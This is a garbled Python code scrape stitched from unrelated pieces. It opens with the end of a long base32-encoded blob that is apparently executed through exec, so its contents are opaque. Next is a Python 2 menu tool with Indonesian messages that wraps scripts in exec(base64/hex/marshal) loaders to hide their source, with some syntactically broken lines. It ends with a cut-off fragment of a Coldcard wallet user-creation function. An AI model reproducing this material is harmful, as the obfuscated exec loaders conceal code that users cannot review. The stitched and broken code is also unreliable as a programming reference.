EFL354JCIL7FLD4W3VFMWZJZSXNCY47ZISRZN4NSRXU74YRTBOLMWWSAFVHGRSW5XUANQLGZ72RZMJEPSBOK2FOF5FWGAZJT7247J2SBLTSFCZ72VTWLZRGC4ZPF562YA7CVZREE5GP2YC7INFC3UUL35FZGBX2OTFW4J2EKCTO7FITA5VOD6N7CLR3CL2ILOTCYG2X324HR7DKPT3NHVLTU4XF5GVEWPULR6OV5EVOP5U5USG52VSQIO7VPJOHYQEMJSJ7O3RPHFLH7BBSTCDBODCYQTU4FTKU567KEIF3LUR4USUCFI2QCUY6BG6ZI4AC2W43H2ESVWD45FWQ5KAULZW4OMZUKNPKFVQYTESXZKYURQMCQDS2Q6LZYX3DLI6ACYOFVZAFHMOHRFPINYAHAXHEAAI2FITHRYQWAVKYIOST5KFZF6BDTHASIGAVDJQOGLZGTFOIQXZK6FVMITLKFIUENQQZGPXKP6ERYBEFK3JLXCMVVMGYTYIL57GCZJQG5QSWIT6EVQ25IFOTRWSL563HEBEB2N5YCRACKQUUIV3DDQDGFK7IL2TRI36B5XSE27KTHBJXGBSRKVWUEVBYVGZKFGAPJIFSVVBVU2E753KAW2KCBJNXOHDJFSPVTLOUY7RR7G6ML5JJR4DGW2OB7EU2N3VB5RO3FXFBMG5UBQLWILOW5G3TPTDBXOYY5NXHON2X27E4ZVMP64M3UVD3F3ZVJVXFKQLRPVMFIV2FIOD26M6OY2XRBHGTMGCTY5H5SPAGDTWQYSAFDU2HTANCJQBI4G7A63UJZKYH3IH3AQJWEXR626FMNFFKY2KKDQBI4OZ5DYNXSPZSQXP4C6B6GD7U5QPYXM46GBSVG5R7JXQMYCDM5ALRQ5WO6BICM2FCOZ3X4LCB4AAAAJYMIIELAOA2PYGJLYLOA2IUSXXOIYANABDRD2TNOXKNWJIBY3FU3VVNSKGCNXQLKH3KVUCMOCPYNIWIZW6CQCXI4G7K7OQ5ASR5Z6JGAMOS4K7DEV7ROAOGZPFPH5H6RV6AJQQK3XPEMKFFWG5F3AACB3IIOWQYXYUZQGAIHEHWYNXB7DATFIR7KYQLZW5FES2D2H43WVUNVQOUMJIPJLUDUOZVWAKFQRJ6HQLRJYCP7M36IHRSGCED4NQAL5HICFKEGUBJ5DY6FHE7M2AHHYRUKBFN7OT4ATRKEEGUIPQMKOHQHOE4F5ECDFO5IQQAVATN6AKWRWFJ5H2JUGYR4BZF6LQIVEKNWDC7VRWZ43IMCNSMVS5ON4WYI2P6ZQNRJUNMENVZOTXWBGWOJOYAZYESQDCTMEPCNTFQ7JZJKDIJJKDJJIWWFGS2AAWWAROMMADWEFIKOQUBQAMNKDTMGGHUABMCTZXRMGNTZRNQZVPYQ3HLCDN2RBGZUZAFJC6YQFBBZQJWRVMW6QRJNWZK6AG32SAUXA3BTITODLUC4IJDRJ6EYE3XKFLBDLYAWEGB5CDP3MKNJYCNRZXRO5RZX36FVRGAZ24V3DPVIAOTOGRKYM2JY3KJBSR4HNXXRH4U2XFHDUUENUX3EXJJ5CYTP2MQANH2NNQCTXZOPSPWCZWEETMEHT5WYMGZKQAGEQ654UHJUARV673R4OGZAXVFG4UZ7VDR7XDUEDQVQNL5KVYXYLU2IUJGBQUIBZIZMYW4EWJWAIGXW37YW3EK6D6WYZGDV6LWYABNQ6D2JQHTKABS6FJQ6JELONWPTVZTAQSIO64JTLCS2233MAXX7RHN43SXMB2QTTZEOS3D4BII6PJDKT6KM7MWYIWEVJUQPSSI2EKCRQ7EKD4ASZO325QBORRKAAS4CCTDXGMDYIIQC6OHFVQPOBR3OCROO6QPSZJNIMWABCFCNHQGQ6NT2KCFUI4EK3FE2MFCRBNKGWDPYVKW5LKBFR3MMGLK5AB3CBFMXAMAAPNYBONARCRRIUWDUENRUC4OG4USORZXQMKBGPJX4MTS5AUVSQQG2LWNSM33WYFJTQAINJILCK4BRHTTIIJR3GZHZQOF24PTGJ4FDDGF4K5FTQHOXY4PICQYXDIJASDIM6QKHG2246NEZL67D64QYJXYVNR6WLGTL7TU652D4FDH7ILF7HWZXYOYYESYAYXIHIKUJP6K6JBOOWMCR46MX4TJXY4OIEN3VIU36HBUAS7SI3TCTMSQOJDLMYGSUGAOVKAZT7KRKK6DBYRZIHQW6FB45GC5WBO62UJ5SKFQMDAREGX4SO45VN4FW2NF6QRSHYYCLOI6A4K4M2XV47WYH2UXR4B7Y5RGO2H64KDIMBVUS7FO3Q5PUUW5VXQSNXIM5C6MLIDUAYCXYNJGISQY62KPA3J3JHD5VXMD4JS7FDXZ4R3WX5RVUFZOKH4VXCXGTFVE5JDMHMANS32VRGNMMLPKYIN6MWS7KXFZZTR355HSZS7HO4MCTOZYFW752BO7ALONUTW7GJ3WXVGH4XQAGJ2QISKD7GJLXCWZYP6GOU5AFXOK56W3YN64BVQX55KV4W5YS56WZYLVLZN3SKOXWFOT6IYO6JRNM5ONBPLL7E4HPEYGVOS3RX6CHQVJRWPTIHFRQRWD3YWKQ4QQMAE33FCSLOTKK74KQ3DZOZLBPPSPXRO2IXYJX4KC67QFH4O6PILSZMTGNB36CJUIVQBHHJZRVGLCGM3O4OBQLONY7SBZGUSVHTIBMVEBGPJ6OM6Q72XZ2ORM4667QDZSCHR5RZZ4JVJCP6HCFJ73MVZMKKE2PXEERH56NNMYNSZED6L4QZ6TVNSQWH4RVAXWUS43ELSRISB7FOJU4272TD23XWTXKIIPMIBSTVHC2Z6WZO2SNH5IUJQUHU3MQGIYFKBNP7M6KSLZBJ67MUHZER5TMQOLBME7QXSWJPEX7SSFZDH4EB5IAUSOD72ZC3QZ4BK25R57OKIWUF7BS2NT5PMV2FTBPYBWTMPL3BGH2V4GZ57BA5AXV5TSP4KYHU77UHOQMC4Z4MFS36EM7PZKTGEQ6WOH6IC5C2VR4XLG6UYJSK75HSKMCB3SLHMXF46HWDRJHW5LV664HESPK2JVGVZHKBSIHY7LU6H34JU2J7HYND5PIJHSACKDWT2OLWEL5QIYIBMDHAU5BLHWTGQY42QRRZQJONZIO43KFOLFSOCNEHXGMYE3GDXPKDXEV2VCBFAUXXNU3QD75NODRWCDD3V4QDTRVUIUXCT6BJGXGGE4GNFB4IL5RBIJZZXJOPHLSXOOS4MRZFEZ3SVLFF2GSVLQF2DDK7JLHXL5HU3I6ZU3QI3XSWVDXBSDRQRNUVQX3MMENYHCOXD42WFZW4W2RDF63IGYWZOOPX54AWKUE577EOMZCVHKOUENWQN2YW64KM7UCF2XFBWRRK6SFTYY5PCQB7AMV2CO4JJ6ZDZJZCR4OXTFJR4KU3MN5VI7NZ6T3WTELHBCQTC5NZKAQ57NRLK2CBGD2D5XAKNJAZOBYHOPLIDHXEEUDZ3M6BFNYC26KAZD2OPBJ46TFF5TYYXZF7HUS5YKINOT4MU7GSIJVIITBP3YZKFJAMBOM6Z4UD26LB23PFOOPMPS46VVXHKSZDJV3BTX2XU7U4HWKN3G3F2BSRMNKUIJ34AUSBUHKIRKPHGQEHMKOCMFRWRW4APSYSHEJKQWNWHPUYBRXB4GXER3NNHS7YEOW3CLZFJM7IZ4J7FVRN7ABFPO5CRQ3EE5YOYZ4HTY32DKVFLO4UAL55Y54XRMBLL547HCHC2Y3VYXJGVX3CKJO24LQLBKHGYGPZYFSVGN4AFQ5CZKCX64CYKQFVBDA4CZKR3FABA4K4S7APQAHGWBHDL6WA6DW3NEZ67QGH2DURDXIPWHQ7NYKDPCXMKSD6HOK2C7TP2GCA5YBPEKKACKRCWQA52CWQQ24CA4CJQUJ5DQLANE6PAEDAPQE56NJT4R5AXB6GP4PDHCPCSUWSGPXD5BX2JD72FOAXVQETRSNBPOMGMWGVQQX7TPNRQY2V6FLTEDKOYKXMJGINVQPMNDRSTMOPVQVCX2YKRL4KZ5HGGTSWTGAZTRYZKXGE7ZR3I4MTRSEKAZZ3BP4OS4ZDO2REJJWMKP3H4CX3ZC6CY43M6H3RCEZINTCF2TS7NMAUANB6NIKZ7NMFECRSV4VTGMTK7UXWYIMD3X3E2XUUJH55XZOCTFWNQ2Q4P4XPSSNEZJWN5HU6KPDB52UCX665KJWA4Z3YP4MV3K5BP5YHPODN4ON4DS7QA5CKIHFOL4F4F6LC5DI4MOD6ST4D4HTNFIDYY5TJS4ZFCY7MAD4ZXQHBFAIPIHKVWAKEMZ7EI4BBCTEH27BQQQHC3TYRXA6YUQIJNROEXHZX25IPXS6F4FAJ2D6RZYCVROKGZWP347UITR5USGMEWC7LMI64N2BPYDUG2BJ2RXF2ZVMUQ74BHVN7FHJ4ZYHA4EMLWJXVSARUQ64JDL3TD3DAT7NDGC26MNRRIBNFPUC5KABK5IBJ5E7ULGC5RTXA3LUG4YAHWCBLQXQY7GBMMCEZU3CM6QALWAKDCJ3M5NCG5ERKJPMKFUCZSP2AJ2WSBZF5DKJPLUJNLAPLJIX6UDE4XVTZZHR63LVSL2A6H7PLVC6NQQ74CJE3EPXX7NEHVGHREPIDPLDZOGPHU6TEUGIT2EGOVKU6GVKFA464KLCZZJUBY7CP5A7JWTWCOLEIH4QO7AZJ5PWZMFQ7A3YW6UC7L4X67HLF72YUW47VSFFOQKI5WOV44J5U5KBHHI3UNB23ZOJGGJCBHC5ZMFSI3TKFPT5NKFRSDPBIQLMMSMT2PPPYTIFYD6R5YBOQIKQVS3NDOHHYCWJ52MKGZMWCLODXNDTZYS3NXD6YY3OUJ5WJ66CQYP4IGE66SQ7MJMIFSAC34H2GEILRPKRXMIQVVFMBG3YIH5HSRSOB5OJKR44TXPNTSULPONVCXEXVKWEXVKUBTAZV6FMKONO45CP2WVXGVIEUTAI7KGUOHJY7ORYLMPTAQRF5BX6TFQRW2ZOZZKGXXOEPVHVENJ52KUKXDFIW6RVCD2TMJXKUFNX4H5LQA5KGAIPKD27LVB7ESDRHK7OFQ3SJWXKKNQFVCZ2IPBO2I2QPUWB7PXJ2FBBD7NUB3HSXTQOCJ4CFXQ4C7KSRGQPGCQIUYKGPDQIAZCLJRIOXYP7AEOCHQWKR7RIFPGKUJ3RWOAI3YUV6ERXFISAV63QE4MXTOKT6MWASR4CRD655CRRUTSDAKIRAZUFPBXBPRDDX32EZTBZKULWKK2MDGCZA2F53RMRTFKDRTVOLIVE22Z2QMB3W2T6M4LGDOTUZIM5XGIKMFSZZTQYC2NB5MLUY6EYSRVROSDUNOGBM7WU3EKH24AG76QMAPYDII7AU56AUNBYV2LCJB7VTIOAKFIRURCUK2SSWA7IY3EIXEFXFLIVT4E6CCTYFH5C6FQERKQDECXWCJIK667FJ4SAR6ZMLQLC7G3ACTTADZ2WIHDWRUZQNOF7UPUGAN7RQCYBWJ3MQ5WGI3AFMHR6TH3HX6T6I2HA7OQIFZEIM3KFF3FGNDUW77VJERW6P4VDYSK3HJWDQTH57IDFCX2BOECBIOLBUKOXMYDJUZXIGMIVUBX6WNFPRRLCMS2ZROPTBRZP4XEBARNDHCTZQ2O6BNS5TZVEZWEWYDRAL3VIIRA3TQ2JEPDP4SQVECRRWLVVOZXT72GSLWKKXB7XLVEC6NJQMMEUT3CZL2LFH26FNQV53N75YBUS52PLIYOUXEU6ULSJWVLEDNETD5PVZTAY3NB4PLZIEDXKTD5ICDTRWFZKKJNRG7IQ5MCHHLYCGWNZMYJGDJLMYYNWDDPTE42GN5SNE62PGBMNSX4LB35NF2QPDP4MGQ5L3UQWW5QZHHH2XTFB3AI2JS6MYR6VNK7CHKS6XFADJOQGD2OBS5NY4SIZ5YYOJ67HXBW4YIKKGTQPPCSDDYBUFHA6CD4PMIL3YRV4HQTBNDZAQT63XHZC7AQIUJIGPT5DWQTKW7THJFV3WWLH5YBSB6PE5YWFB55I4H6B7XO5AHXGN4KBBK6T5JWLO4A3KB6AGB3WBKFYFOQQDJ4XHF7I7CHY745NLPVDF27VKIH53ZJJE7LMTILG6CYKKTU6OLDJ3XFBSF4EM5XDHLA6DGCUW7XKG3IDRJTCVQ2U3J4H5UJFCTAFIXQEAIRIV2EFJZV7VWPNQ7SRIRJXPJBMPS6ITML37C3UKGIYYMKWG64ZUL4MHFCA4MQNRSW2J3EFGFOMHIQ6JYVLUQ4QOUDAAQJXHJ3BRLQMBG5YLZKZ3EFRVBMYWNIKVNKSOT7URFBLITSJVBLKUZO7RED4TMM4FNX3IJZCZFS2INWS42SVEVTNFMLX25FKSQQKYMOZHMFORNRBLK2G5RRKZ2GOERBDQADQQBLRWJZPH5WQ4PICT4ILQIMSKARRAFXIX4IAFEUXWYWKRFAFJU6HZRP3X4DIOKIMBOIEPBZ6FBUDON7BHX4OENTGVBYHGXZW5F3MTQMJLFHZHZBTFUNUHZTKLY7OP5Y3JYJ2P2LJIMPT3HV7HS2GZ34H7PAMO6O2YKJ2GDVBGKRLERLEPPXNOZ7MQUFAM6YEJ5UTPXFM3XBCQZGGNDEKY33A7YXL7UOMWQXJUTFIEWEIBWQUGAYASK4TS5JLU4MGWDH5XUQGUC2CTUVUQG3DSRNB553ZEBNWHG6F4V7GWQAU54G22KTJSTDH7TIGEWFIRUAWKTYSKQJKP74ZSZT4QY7KCZS3NSFK36PO7DDOJ2LZ3IGGHXPOH7XISGZPSBVSWPEUHDIKM32PMQVZRZ6HA4R6R3GP352BBWNUMGU4U55PB3BVXBGJ4Z2LLA26ZGTWFRVFPMQ2OZZXXME6QATMWMRAOGLCZQTTKMSWZMRITETX6FKDNHR2KVQZAV3JRX3FKUNCH7LKXPU2VZO7BXLXU35G5OUZ6DOXI56POXJNOPO7JZLD2VCUGNMQ5TVLZNWSUFEZJTLETGHUR2ZJJMHTBDT7VX4KG43Q6UTTKVN2BUQXKKA6NTWR2Y3OLIQUE6JWQUAVYWS66JZALL4URIH4NJDL5UZSXCQYKNCVZJHMHQXMXH5AJDFP3EMP2HTAZYTCHUKLAM43SIXVP2ZJNYR3HHIZBUW2DBEEDLFBAVYGGP6NC25I33F6YKH37QVFQDXN7W7KOZEN4UAQEV6ZNTUJIPDDWTF7HRCAXFXODWY5OOKCGWJRS6V7KCKUQF3IQK5S5ZOZ27V6WBKLV3GB4IH6TOE5F2RTGOHP6IYJHDMV7ZRFMOAASTP2BMRS43GZFQ5WLHA6KK55AKFQ5SYRPKKCJNMIX6MYGQXXP2CV7GTJ7JXNKCG4X7MEY7WFIUFLYKYSAQFRRAENAAL35F34OFRWCLP74LLP7XZKBYN2QB6WNL5MRXBDWAVPCU7C5NSNFLKAD4J7BPFDU5VGXEWA4UBA3UBYJ2M42AP2IGMPBCV3VKW4NVMKVL4BVO6PK4VZSXKM4JEDBF3LVQSPFKLR36XDXMB2Z2HSTY66PGA5XW5PH4DC5HNY7F27RQ3FG7YCH64A47FJ4CQOUEFDZPBC4QRAGISSEZIA7AVY3NDBX4HLT7PGHRJ2AVQS4EFMEBVKRQ3VHDIN6BBY4DDAP4J6AQY2DTAPUE6EQYYD3DPQMOHQYYD7DHRX6CSURIKB4LCQPCUUVYXNJ5LIX4DJ6MI3VLYW23YZKPNNOMSIXCHIRK5K254UCELLVARAEYTGEQRAEYXGFQRDA2HXGZQHTBBVXBNUKYNNIY2ZQYCUIMNMYUIN4NCAJ4FGAQYZKGCWBLRIFIUR3YQLZQNHQJAEERIULATXEBRRUQ2UN4HMA6YMDMYEWDWAPMGBS6ZDBP6RW2XGWHZL4RVSGYFK2CPUDVTINUUQ7AJV2VPC6DJG4ZDMUKGMYXZVUEMBJZ556CWCEGKT3ZUMDXSPEH2OIE26ILWSPERZRO4JTP53HBBZTOY3OM2IXXI5BXADNZTNCW4VBCNY2HW4Z7Y5ZLOYHOC2I7WN2COAG3SW2E5ZNMZXPCZX6VU2DGIM4GWEVENCLVAV7QF56TP5F2TV6627EZU2PBWDQ4S3KK2PYM72ORJNU6SOPVBGQOVDN4HICPXEZDVB3VTU3RGCMK6ZKAVPCU6CSY6LQWOTG5NVHUAJDNVTHENPHERJCXROVPSCSZ32KJNVFITSPNCUUC2WOVALPAI2HF7QCDYUZV4N2SRPNJEK5H77NBFJR5MMSLIFMNMJLCPNN74UBKNPSGKMXJUCKPWNHPUQYXJCUSLVGL3KJJSVKP6IKROY7NQS5DCOLZ4XFAWL3MHBC6BGUSBE6NJRDTAAHPXDHVODZFSLMRK3PZGTWO2GP6SZZPLVJ3KZKNHVY3PVAIL3J6NNNMVOUQHFPUFQ75GZAF7VRXSSXXWJZGYZH5J45OKDSYA6WCQBHS4IDSH4H6HRANNST7D244BVEJLD2AIDJW7XZ5PJ5MPZ7XB3D36K2XVQFK6C6BCPBF2NCRDWMKABXNBWYCUYDOFS44K2Q457SFQGZZSLQQKVZGR7XRBUEP4BEC74AADOUB3SFUSFDOU24IRYIS2PNQDVOG7MKQYEYYE3M3DBSAGZLBP4OHJDQVECE4M7EFMAEMKQQUMB7J7ICGB5BVL6GB5ZBKRYEML2JN3TGKIDU7IVI63T7OUM6OM3PSGZC4MVPICBZG7UK7JDGQ5L5MUUYVESIYEMXAT64ZO7HUIUVSMFYMLKEQIX2KTSG4GKXB64AZJKDFAAQIREDKCUCM6E63H3LDBX5BG3CQFVT5A5OC3BIDMQEKBNK6Q5533YFQHVXOAMAJTPH5FXQY6EJRAMK5XZI2E367OPR4GT5B4CQYXDO2RENZNODC2TRAEOYN332REETLA3KKWVQPZSEEAU4CBG455L2SSZIDLUXHFI2IXWCZLVZK3Q757KMGINBUA4DIM5DVP73LODW6RSWQKGMACNTRHEETUCYTZQ4KBJYL7JS3O4473SEJTQHLG2FXGDQO34U6HAS6BNF474DO45DPUM563CD3GLMKPZAKGWJATPT7QGN7DPRGBYSNJD6ILHQ7AVOXWYGPR7CXIDAUNNSTKO45FWWLDYTFULDSORITA7R3RFUOF6NXODJRTJZP6U7464EHOUPAP54PHQMCQKDJHKFKF4UMS6KBV2C62SNTWBFNYXPKQPSOJKPD53UQXDM64AUSYWEACQH3AEITXRCWREJKT3IDUJ3YHE6R2W7DT57SCGBG4OSH6BGB55FXMWX2KAXTJQUMBE7IXHBQIE5RD7YO4H5CXXJUSDY7ER4WRW3FOGJDNFNNUER3LLFVQMORMFUBZRA5WT7XCDT5FZSKKZZIOVMAKVT23WLZKCSGLKCX7YNM44XLSUSWY5KV7XKKHNSYTTOIMJN5DG3ENMQKNQAK7OCNWDSI3JVO46AH3ASPPDS44P2Y4HBJ4UORSFWX2Z7V72E7NPOMX3KM56WARPLTQCWGK4FZHUBMX3N2LBXI7SXF6ZNLNXEOBPZMALADYTY6TQW2BUNQDGVZGFTQONY2WJN7QU7EQ5YBPYU44LHG6EOXC2WBNXECQW5IK5VOMGB6FWUYODPO44TPZSSO674ERZOOYLVSCDAP5P4JRP4O2MEU7GEVGGZU5UHMOPATIZUKO5C62PQZXZISZVJAWDUNS53WHRR7YPRDWCI6MSESSHDM2GDPWBV2PTFRDQX76YMCIMJHYVB2JHFGTSOUWXD2JEP34UXBZDO5IHLRT3M7FO4X5MCX3OVSR3TPIDRZINCYAOTRKIWWVXSZQTEBLWMMPTAPE3EMFATVW6C3L4E4WLLCLZIGNU4A7PY73N36BRW3AHGTJR7UX6F5TMQ3W6N6POF5UHOUOBZOSWF6HMJE5XUJQ5ELVUI24HDSCQA37J5RAOAWTJIJVS4TBSINFXASCNLXEOVTYKKGMCSFFTSM7UWYT4BLV6Z6L65OX5WS5O3FM2FAGFGWQD67YDWZU2VZ3USRGZ6YCWFXDWOKIPJRZNYKCUWQJPQTQ64NXODDZNMWCZTOG27AENATZBXC3MBZIDLACWXIBWL3HDJ7ATAQDFROLCFAASZR5RZLT4O7RCYMJX4NWFGRQGYAHN6IZRLTQ7P3CBOBWKDBHJ7J65YJPYRWY7PVKWNLREU5UACNMTNZUEKCAXV6HUXDTSO42GOM4MOHVLGWCKLIC27AXCCITFRHTM7U7HL5N5PZOHY5PZLNBNXYIWCVPJFN3DTAFM36J35SQARGNG5D7DCIU4R2KLA55LINSSFDBTMUF6J4XQUORH5UPSAB523Y2RJDXTCBTTDUZOUDBGDV6B2ISAQ3D3ZQBAPU5VZUWZ54V2RNY5QLZHHFQDCZMP6DUWEJPM4EZHINYBMFQPAZZKIXBQE7HTDK3CZSBO4Z7JP4BYGUECEYSISITODWIHRYY366XUQOWM7OVWC7LPQ7EKYFBXW3JH5GEAIGG3HPJQ5SKADD67YFIBQGOWLHDSKMY4KSXPMGMGLQAP6LEHCDPP7AEVEODHZGDS4EKBLQ4ODE3FEEBCMZQ66JHWHZWYTEZY77FS2Z56NRHT3GIIRCGP3UOSYWU7MUB3QF2LLLNJZQSKQ2XW6G6YG7RGL7PGOWVS2QJW6SBR656COKJ6P5YJ3EFCJUN3B3HY3X43HQ7DQHZ35RSEC3252ETMN6XHNDIJO67YHRXHQ6GCYDEPNNRXH4XYT7PUJPGKOWKOIOLD2H4PTBDIUXWNUZWM2VXFRVG4YDYOFG5NR33QYLGQMJSM5IURU6QI55ONZUHR7HI727TMMRXGAX357ODXSAX5XAKL32BHU6U6MSOBSHY3DQORUGQ6HA6DMPRUHR4GZ6PATWOZGXM5AURH5YMRG7GDSMDP3BKXXDIHF45GUZLHOVRUDSBHNZVAHPTDD2K4UJASH7BSEWXTGWQWSFZOPE726GASGV5GE3UXZPA3GWXAZ4WLAWCMS6XZOJNG4QSIZ3HOP2AAVLP5FAITC2E2JTBZ7RXZ723F4KSO6SAFHX42ZASIYFBXIHDKY5QUHDM3K2F7MFJYFMXZ5JUSXC6RS5SIBTYF2TU256YRFN2V72JPCKQOYJQR3CQQZNDGNE5ZLOAQ5N5SMAUQHZTA33KWC26E7Y5S2JJRF4AJMNKUSQDOJFNDZNJGYZUBUTDYPOAC5GNKIZYKA65FJRHBGFIWY7GTBK6IAA5UAKEMCZ6C4DGSEIOX2U3QCKTEBWANO76HYREK6MNVSRFGYRG54N2QQIUCLTVTRLUDUECUCGVM5TJHGUZTOO4IUIQ56I43OPZ6U4SHWRWGAYLA26NFXIO5A6ODJHVQVSM4TMHD2MBM5TRIHMLZPU7QFALQJLOT3KIE4UJEN2UZJEONNPYDRUDFNIX6H3AYSZRPNHC5Q7WJ7MLK6JUMNSLL77DPTDANVM72MUTZGZX6STFJDKUV6MSTMT6PGUG7IDONBUHLJH63FUJ667DFDK5KD5K22ZYOZNH7KDPWBUG7JDIPB6U42MSPJU63YHY55NNZEYK4EY5CH52XU6XM6NUQI4P7J6G4Q4AYZGPZN7FAVLCCQE2HXACOTNISMYOM3KRZET6S5TMM6ZGSYBKM5V3CLUTJYTXDWTF7S6YL67YXSKM3JFTG6Z3EPBJ46AQ24SO5SC6QMWXMBXAA7BYBTRAPRL2Z4NIRNNG3PYFQWMHZTUAQ7UUWQZDZ6WCN5RM6ZUWGRFBLDGYNQNT26ZC7M7Q7ESZ4WK47DAEHJGOZFPSLF4L3WMNRPL26X4LWMTNOWDHNGJ6BPDIXPH34TE5SZYFZB6BWUGFJT647QI7YMIE32CQCTW27ALQLXUF4DNBBPIHYBNBA7AHQPHEEAGPC3MIZ7QDAU7Q3QB6QPQEX6BYYEC65A5AD6BCACM6CJ3X653SBEFQAEI3YBSB3AC2DWLHMGN5ADDP62OZC5HEDADPPYOYFDSB6D3CB6BJAQ7Q3QGGEEATNXDZTRN7ZYQQPQBYGVRBPAEYHHUB4DFBD7DCBF7APA46QXQOMINZB7A44QQAP325TOJFNZBACRU4PDHCRH43QVDIHMCNDDG3RTACALY5VCYPFWMOEIPU7QDD47OQUICG7ZOEDRR3RYICFWWRRBIAQJC3JFOCYQMVKIVBJSBJDDCQDU6RDZHKMOJM6IVTTGOGKCIHZHHABY5GDIPRKARYTZH2N5C4YM4ISZUU6E3V5JOAFSEAVJZH7DNKQNEGUJ4TYSKN3CS5KBJC4FEHIJI2NCXQUROCKTFCN7UHEN5SHHMR4KII7SERZCQ4RMGIR3EL5SCR4SU4RCOIGP2O46HFGR6HMOWTI6PP4Y3EO3SGDJBA2MN7R3GILGSILRVUIYTSHZ7J3ZJ7J2EPJB5WIT5ETLD65CA4R46RA6BT2NBO75WRGTW7JWCFUQXDGSE7KXKHLVFAZOGVQ4P67Z4TBKIK==="))))
def decode(data): return base64.b32decode(data)
def menu(): logo() print '\n01) Encrypt Base16\n02) Encrypt Base32\n03) Encrypt Base64\n04) Encrypt Hex\n05) Encrypt Marshal\n06) Decrypt base16\n07) Decrypt base32\n08) Decrypt base64\n09) Decrypt Hex\n00) Exit' try: inp = raw_input('Choose: ') except: exit() if inp == '1' or inp == '01': clr() logo() try: f = raw_input('Filenames: ') except: exit() else: try: bk = open(f, 'r').read() except: run('file %s tidak ditemukan ' % f) exit() en = base64.b16encode(bk) ff = f + 'c' open(ff, 'w').write('import base64\nexec(base64.b16decode("%s"))' % en) nm = ('').join(f.split('.')[:1]) + '-enc.py' os.rename(ff, nm) run('file berhasil di encrypt menjadi %s ' % nm) else: if inp == '2' or inp == '02': clr() logo() try: f = raw_input('Filenames: ') except: exit() else: try: bk = open(f, 'r').read() except: run('file %s tidak ditemukan ' % f) exit() en = base64.b32encode(bk) ff = f + 'c' open(ff, 'w').write('import base64\nexec(base64.b32decode("' + en + '"))') nm = ('').join(f.split('.')[:1]) + '-enc.py' os.rename(ff, nm) run('file berhasil di encrypt menjadi %s ' % nm) else: if inp == '3' or inp == '03': clr() logo() try: f = raw_input('Filenames: ') except: exit() else: try: bk = open(f, 'r').read() except: run('file %s tidak ditemukan ' % f) exit() en = base64.b64encode(bk) ff = f + 'c' open(ff, 'w').write('import base64\nexec(base64.b64decode("' + en + '"))') nm = ('').join(f.split('.')[:1]) + '-enc.py' os.rename(ff, nm) run('file berhasil di encrypt menjadi %s ' % nm) else: if inp == '4' or inp == '04': clr() logo() try: f = raw_input('Filenames: ') except: exit() else: try: bk = open(f, 'r').read() except: run('file %s tidak ditemukan ' % f) exit() en = bk.encode('hex') ff = f + 'c' open(ff, 'w').write('exec("' + en + '").decode("hex")') nm = ('').join(f.split('.')[:1]) + '-enc.py' os.rename(ff, nm) run('file berhasil di encrypt menjadi %s ' % nm) else: if inp == '5' or inp == '05': clr() logo() try: f = raw_input('Filenames: ') except: exit() else: try: bk = open(f, 'r').read() except: run('file %s tidak ditemukan ' % f) exit() c = compile(bk, '<zbl>', 'exec') en = marshal.dumps(c) ff = f + 'c' open(ff, 'w').write('import marshal\nexec(marshal.loads(' + repr(en) + '))') nm = ('').join(f.split('.')[:1]) + '-zbl.py' os.rename(ff, nm) run('file berhasil di encrypt menjadi %s ' % nm) else: if inp == '6' or inp == '06': clr() logo() try: f = raw_input('Filenames: ') except: exit() else: try: bk = open(f, 'r').read() except: run('file %s tidak ditemukan ' % f) exit() bk = bk.replace('exec(base64.b16decode("', '') bk = bk.replace('"))', '') bk = bk.replace('import base64\n', '') en = base64.b16decode(bk) ff = f + 'c' open(ff, 'w').write(en) nm = ('').join(f.split('.')[:1]) + '-dec.py' os.rename(ff, nm) run('file berhasil di decrypt menjadi %s ' % nm) else: if inp == '7' or inp == '07': clr() logo() try: f = raw_input('Filenames: ') except: exit() else: try: bk = open(f, 'r').read() except: run('file %s tidak ditemukan ' % f) exit() bk = bk.replace('exec(base64.b32decode("', '') bk = bk.replace('"))', '') bk = bk.replace('import base64\n', '') en = base64.b32decode(bk) ff = f + 'c' open(ff, 'w').write(en) nm = ('').join(f.split('.')[:1]) + '-dec.py' os.rename(ff, nm) run('file berhasil di decrypt menjadi %s ' % nm) else: if inp == '8' or inp == '08': clr() logo() try: f = raw_input('Filenames: ') except: exit() else: try: bk = open(f, 'r').read() except: run('file %s tidak ditemukan ' % f) exit() bk = bk.replace( + 'exec(base64.b64decode("', '') bk = bk.replace('"))', '') bk = bk.replace('import base64\n', '') en = base64.b64decode(bk) ff = f + 'c' open(ff, 'w').write(en) nm = ('').join( f.split('.')[:1]) + '-dec.py' os.rename(ff, nm) run('file berhasil di decrypt menjadi %s ' % nm) else: if inp == '9' or inp == '09': clr() logo() try: f = raw_input('Filenames: ') except: exit() else: try: bk = open(f, 'r').read() except: run('file %s tidak ditemukan ' % f) exit() bk = bk.replace('exec("', '') or bk.replace( "exec('", '') bk = bk.replace( '").decode("hex")', '') or bk.replace( "').decode('hex')", '') en = str(bk).decode('hex') ff = f + 'c' open(ff, 'w').write(en) nm = ('').join( f.split('.')[:1]) + '-dec.py' os.rename(ff, nm) run('file berhasil di decrypt menjadi %s ' % nm) else: if inp == '0' or inp == '00': run('thank for using my tools ') exit() else: exit()
def decode_oath_secret(secret): """base32-decode an encoded secret""" return base64.b32decode(secret)
def new_user(username, totp_create=False, totp_secret=None, text_secret=None, ask_pass=False, do_delete=False, debug=False, show_qr=False, hotp=False, pick_pass=False): ''' Create a new user on the Coldcard for HSM policy (also delete). You can input a password (interactively), or one can be picked by the Coldcard. When possible the QR to enrol your 2FA app will be shown on the Coldcard screen. ''' from base64 import b32encode, b32decode username = username.encode('ascii') assert 1 <= len(username) <= MAX_USERNAME_LEN, "Username length wrong" dev = ColdcardDevice(sn=force_serial) dev.check_mitm() if do_delete: dev.send_recv(CCProtocolPacker.delete_user(username)) click.echo('Deleted, if it was there') return if ask_pass: assert not text_secret, "dont give and ask for password" text_secret = click.prompt('Password (hidden)', hide_input=True, confirmation_prompt=True) mode = USER_AUTH_HMAC if totp_secret: secret = b32decode(totp_secret, casefold=True) assert len(secret) in {10, 20} mode = USER_AUTH_TOTP elif hotp: mode = USER_AUTH_HOTP secret = b'' elif pick_pass or text_secret: mode = USER_AUTH_HMAC else: # default is TOTP secret = b'' mode = USER_AUTH_TOTP if mode == USER_AUTH_HMAC: # default is text passwords secret = dev.hash_password(text_secret.encode('utf8')) if text_secret else b'' assert not show_qr, 'QR not appropriate for text passwords' if not secret and not show_qr: # ask the Coldcard to show the QR (for password or TOTP shared secret) mode |= USER_AUTH_SHOW_QR new_secret = dev.send_recv(CCProtocolPacker.create_user(username, mode, secret)) if show_qr and new_secret: # format the URL thing ... needs a spec username = username.decode('ascii') secret 